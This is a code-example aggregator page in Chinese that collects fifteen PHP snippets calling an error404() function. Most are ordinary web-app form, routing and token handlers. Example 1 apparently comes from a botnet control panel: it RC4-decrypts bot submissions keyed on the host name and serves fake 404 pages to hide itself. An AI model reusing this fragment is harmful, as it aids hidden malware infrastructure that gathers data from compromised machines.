本文整理汇总了PHP中error404函数的典型用法代码示例。如果您正苦于以下问题:PHP error404函数的具体用法?PHP error404怎么用?PHP error404使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了error404函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: GetServerData
function GetServerData()
{
global $bot_id, $data_type, $raw_data;
//if (defined('D_DEBUG')) $str = $_GET['str']; else
$str = file_get_contents('php://input');
if (!$str) {
if (defined('D_DEBUG')) {
logerror("Error: E1");
} else {
error404();
}
}
//if (!defined('D_DEBUG'))
$str = RC4($str, $_SERVER['HTTP_HOST']);
bdecodestr($str, $bot_id, $data_type, $raw_data);
if (defined('D_DEBUG')) {
logerror($bot_id . " | " . $data_type . " | " . strlen($raw_data));
}
if (!isset($bot_id) || empty($bot_id) || !isset($data_type) || empty($data_type)) {
if (defined('D_DEBUG')) {
logerror("Error: E2");
} else {
error404();
}
}
}
示例2: edit
function edit($userId)
{
if (!$this->safety->allowByControllerName(__METHOD__)) {
return errorForbidden();
}
$data = getCrFormData($this->Users_Model->get($userId, true), $userId);
if ($data === null) {
return error404();
}
$form = array('frmName' => 'frmUsersEdit', 'fields' => array('userId' => array('type' => 'hidden', 'value' => $userId), 'userEmail' => array('type' => 'text', 'label' => lang('Email')), 'userFirstName' => array('type' => 'text', 'label' => lang('First name')), 'userLastName' => array('type' => 'text', 'label' => lang('Last name')), 'countryId' => array('type' => 'dropdown', 'label' => lang('Country'), 'appendNullOption' => true), 'groups' => array('type' => 'groupCheckBox', 'label' => lang('Groups'), 'showId' => true)));
if ((int) $userId > 0) {
$form['urlDelete'] = base_url('users/delete/');
$form['fields']['userFeeds'] = array('type' => 'link', 'label' => lang('View feeds'), 'value' => base_url('feeds/listing/?userId=' . $userId));
$form['fields']['userLogs'] = array('type' => 'link', 'label' => lang('View logs'), 'value' => base_url('users/logs/?userId=' . $userId . '&orderBy=userLogDate&orderDir=desc'));
}
$form['rules'] = array(array('field' => 'userEmail', 'label' => $form['fields']['userEmail']['label'], 'rules' => 'trim|required|valid_email|callback__validate_exitsEmail'), array('field' => 'userFirstName', 'label' => $form['fields']['userFirstName']['label'], 'rules' => 'trim|required'), array('field' => 'userLastName', 'label' => $form['fields']['userLastName']['label'], 'rules' => 'trim|required'));
$this->form_validation->set_rules($form['rules']);
if ($this->input->post() != false) {
$code = $this->form_validation->run();
if ($code == true) {
$this->Users_Model->save($this->input->post());
}
if ($this->input->is_ajax_request()) {
return loadViewAjax($code);
}
}
$form['fields']['countryId']['source'] = $this->Countries_Model->selectToDropdown();
$form['fields']['groups']['source'] = $this->Groups_Model->selectToDropdown();
$this->load->view('pageHtml', array('view' => 'includes/crForm', 'meta' => array('title' => lang('Edit users')), 'form' => populateCrForm($form, $data)));
}
示例3: tagEdit
function tagEdit($tagId)
{
if (!$this->safety->allowByControllerName('tools/tags')) {
return errorForbidden();
}
$data = getCrFormData($this->Tags_Model->get($tagId), $tagId);
if ($data === null) {
return error404();
}
$form = array('frmName' => 'frmTagEdit', 'rules' => array(), 'fields' => array('tagId' => array('type' => 'hidden', 'value' => $tagId), 'tagName' => array('type' => 'text', 'label' => lang('Name'))));
if ((int) $tagId > 0) {
$form['urlDelete'] = base_url('tools/tagDelete/');
}
$form['rules'] += array(array('field' => 'tagName', 'label' => $form['fields']['tagName']['label'], 'rules' => 'trim|required'));
$this->form_validation->set_rules($form['rules']);
if ($this->input->post() != false) {
$code = $this->form_validation->run();
if ($code == true) {
$this->Tags_Model->saveTagByUserId($this->session->userdata('userId'), $this->input->post('tagId'), $this->input->post('tagName'));
}
if ($this->input->is_ajax_request()) {
return loadViewAjax($code);
}
}
$this->load->view('pageHtml', array('view' => 'includes/crForm', 'meta' => array('title' => lang('Edit tags'), 'robots' => 'noindex,nofollow'), 'form' => populateCrForm($form, $data)));
}
示例4: edit
function edit($feedId)
{
if (!$this->safety->allowByControllerName(__METHOD__)) {
return errorForbidden();
}
$data = getCrFormData($this->Feeds_Model->get($feedId, true, true), $feedId);
if ($data === null) {
return error404();
}
$form = $this->_getFormProperties($feedId);
if ($this->input->post() != false) {
$code = $this->form_validation->run();
if ($code == true) {
$_POST['feedSuggest'] = $this->input->post('feedSuggest') == 'on';
$_POST['fixLocale'] = $this->input->post('fixLocale') == 'on';
$_POST['feedKeepOldEntries'] = $this->input->post('feedKeepOldEntries') == 'on';
$this->Feeds_Model->save($this->input->post());
}
if ($this->input->is_ajax_request()) {
return loadViewAjax($code);
}
}
$form['fields']['countryId']['source'] = $this->Countries_Model->selectToDropdown();
$form['fields']['langId']['source'] = $this->Languages_Model->selectToDropdown();
$form['fields']['statusId']['source'] = $this->Status_Model->selectToDropdown();
$this->load->view('pageHtml', array('view' => 'includes/crForm', 'meta' => array('title' => lang('Edit feeds')), 'form' => populateCrForm($form, $data)));
}
示例5: mainAction
public function mainAction()
{
$model = new PageModel();
$modelProfile = new ProfileModel();
$this->view->ladder_list = $modelProfile->getTopLadder(5);
$this->view->last_reg_list = $modelProfile->getLastRegistered(5);
$this->view->last_matches = $modelProfile->getLastMatchesList(5);
$act = Request::getUri(0);
$id = intval(Request::getUri(1));
if ($act == 'read' && $id > 0) {
redirect(SITE_URL . 'main/readblog?pid=' . $id);
// echo SITE_URL.'main/readblog';
$news = $model->getNews($id, Lang::$language);
if (!$news) {
error404();
}
$this->view->news = $content;
// $news;
$this->view->title = $title;
//$news->name;
} else {
Pagination::calculate(get('page'), 10, $model->countNews(Lang::$language));
$this->view->newsList = $model->getAllNews(Lang::$language, Pagination::$start, Pagination::$end);
$this->view->title = Lang::translate('MAIN_TITLE');
}
}
示例6: edit
function edit($menuId)
{
if (!$this->safety->allowByControllerName(__METHOD__)) {
return errorForbidden();
}
$data = getCrFormData($this->Menu_Model->get($menuId), $menuId);
if ($data === null) {
return error404();
}
$form = array('frmName' => 'frmMenuEdit', 'buttons' => array('<button type="submit" class="btn btn-primary"><i class="fa fa-save"></i> ' . lang('Save') . '</button> '), 'fields' => array('menuId' => array('type' => 'hidden', 'value' => $menuId), 'menuTree' => array('type' => 'tree', 'value' => $menuId, 'source' => $this->Menu_Model->getMenu(0, false, $fields = array("menuId AS id", "CONCAT(menuName, ' (', menuId, ')', IF(ISNULL(controllerName), '', CONCAT(' (', controllerName, ')'))) AS label", "CONCAT('menu/edit/', menuId) AS url"))), 'menuName' => array('type' => 'text', 'label' => lang('Name')), 'controllerId' => array('type' => 'dropdown', 'label' => lang('Controller'), 'appendNullOption' => true), 'menuParentId' => array('type' => 'text', 'label' => 'menuParentId'), 'menuPosition' => array('type' => 'text', 'label' => lang('Position')), 'menuClassName' => array('type' => 'text', 'label' => 'className'), 'menuIcon' => array('type' => 'text', 'label' => 'Icon'), 'menuTranslate' => array('type' => 'checkbox', 'label' => lang('Translate')), 'menuDividerBefore' => array('type' => 'checkbox', 'label' => lang('Divider before')), 'menuDividerAfter' => array('type' => 'checkbox', 'label' => lang('Divider after'))));
if ((int) $menuId > 0) {
$form['urlDelete'] = base_url('menu/delete');
array_unshift($form['buttons'], '<button type="button" class="btn btn-danger"><i class="fa fa-trash-o"></i> ' . lang('Delete') . ' </button>');
array_unshift($form['buttons'], '<button type="button" class="btn btn-default" onclick="$.goToUrl(\'' . base_url('menu') . '\');" ><i class="fa fa-arrow-left"></i> ' . lang('Cancel') . ' </button>');
}
$form['rules'] = array(array('field' => 'menuName', 'label' => $form['fields']['menuName']['label'], 'rules' => 'trim|required'));
$this->form_validation->set_rules($form['rules']);
if ($this->input->post() != false) {
$code = $this->form_validation->run();
if ($code == true) {
$this->Menu_Model->save($this->input->post());
}
if ($this->input->is_ajax_request()) {
// save data
return loadViewAjax($code, $code == false ? null : array('goToUrl' => base_url('menu/edit/' . $menuId), 'reloadMenu' => true));
}
}
$form['fields']['controllerId']['source'] = $this->Controllers_Model->selectToDropdown(true);
$this->load->view('pageHtml', array('view' => 'includes/crForm', 'meta' => array('title' => lang('Edit menu')), 'form' => populateCrForm($form, $data)));
}
示例7: edit
function edit($controllerId)
{
if (!$this->safety->allowByControllerName(__METHOD__)) {
return errorForbidden();
}
$data = getCrFormData($this->Controllers_Model->get($controllerId), $controllerId);
if ($data === null) {
return error404();
}
$form = array('frmName' => 'frmControllersEdit', 'fields' => array('controllerId' => array('type' => 'hidden', 'value' => $controllerId), 'controllerName' => array('type' => 'text', 'label' => lang('Controller')), 'controllerUrl' => array('type' => 'text', 'label' => lang('Url')), 'controllerActive' => array('type' => 'checkbox', 'label' => lang('Active'))));
if ((int) $controllerId > 0) {
$form['urlDelete'] = base_url('controllers/delete/');
}
$form['rules'] = array(array('field' => 'controllerName', 'label' => $form['fields']['controllerName']['label'], 'rules' => 'trim|required|callback__validate_exitsName'), array('field' => 'controllerUrl', 'label' => $form['fields']['controllerUrl']['label'], 'rules' => 'trim|required'));
$this->form_validation->set_rules($form['rules']);
if ($this->input->post() != false) {
$code = $this->form_validation->run();
if ($code == true) {
$this->Controllers_Model->save($this->input->post());
}
if ($this->input->is_ajax_request()) {
return loadViewAjax($code, array('reloadMenu' => true));
}
}
$this->load->view('pageHtml', array('view' => 'includes/crForm', 'meta' => array('title' => lang('Edit controllers')), 'form' => populateCrForm($form, $data)));
}
示例8: edit
function edit($groupId)
{
if (!$this->safety->allowByControllerName(__METHOD__)) {
return errorForbidden();
}
$data = getCrFormData($this->Groups_Model->get($groupId), $groupId);
if ($data === null) {
return error404();
}
$form = array('frmName' => 'frmGroupsEdit', 'fields' => array('groupId' => array('type' => 'hidden', 'value' => $groupId), 'groupName' => array('type' => 'text', 'label' => lang('Name')), 'groupHomePage' => array('type' => 'text', 'label' => lang('Home page')), 'controllers' => array('type' => 'groupCheckBox', 'label' => lang('Controllers'), 'showId' => true)));
if ((int) $groupId > 0) {
$form['urlDelete'] = base_url('groups/delete/');
}
$form['rules'] = array(array('field' => 'groupName', 'label' => $form['fields']['groupName']['label'], 'rules' => 'trim|required'));
$this->form_validation->set_rules($form['rules']);
if ($this->input->post() != false) {
$code = $this->form_validation->run();
if ($code == true) {
$this->Groups_Model->save($this->input->post());
}
if ($this->input->is_ajax_request()) {
return loadViewAjax($code, array('reloadMenu' => true));
}
}
$form['fields']['controllers']['source'] = $this->Controllers_Model->selectToDropdown(true);
$this->load->view('pageHtml', array('view' => 'includes/crForm', 'meta' => array('title' => lang('Edit groups')), 'form' => populateCrForm($form, $data)));
}
示例9: init
public function init()
{
parent::init();
if (!bt_geo_enabled()) {
error404();
}
}
示例10: url
public function url($name, $params = [])
{
if (!isset($this->namedRoutes[$name])) {
ifNoDebug404();
error404();
throw new \Exception('No route matches this name');
}
return $this->namedRoutes[$name]->getUrl($params);
}
示例11: error
function error($msg = '', $code = false)
{
if ($code == 404) {
error404($msg);
return;
}
echo 'Error occured:' . $msg . '<br>Please, contact administrator.';
exit;
}
示例12: cleanExpired
/**
* @return $this
*/
public function cleanExpired()
{
if (!IS_CLI) {
return error404();
}
Config::_getInstance()->load('Token');
$eI = config('expireInterval', 'Token');
DB::_getInstance()->query("DELETE FROM `Token` WHERE `Created` < NOW() - INTERVAL {$eI} AND `ID` > 1");
return $this;
}
示例13: logout
/**
* @return $this
*/
public function logout()
{
if (!input('json')) {
return error404();
}
Token::_getInstance()->__($this->_('token', false));
if (is_null($this->_('token')) || is_null($this->_('token')['UserID']) || $this->_('token')['Type'] != 'session') {
return $this->addError('authentication', 2);
}
Token::_getInstance()->_drop();
return $this;
}
示例14: formXml
function formXml($formId)
{
$filename = getFormFilename($formId);
if (file_exists($filename)) {
$title = getFormTitle($formId);
header('Content-Type: text/xml; charset=utf-8');
header('Content-Disposition: attachment; filename="' . $title . '.xml";');
readfile($filename);
} else {
error404();
}
}
示例15: load
/**
* @param string $class
*/
public function load($class)
{
switch (true) {
case is_file(CONTROLLER_PATH . "{$class}.php"):
include_once CONTROLLER_PATH . "{$class}.php";
break;
case is_file(SHELL_PATH . "{$class}.php"):
include_once SHELL_PATH . "{$class}.php";
break;
default:
error404();
}
}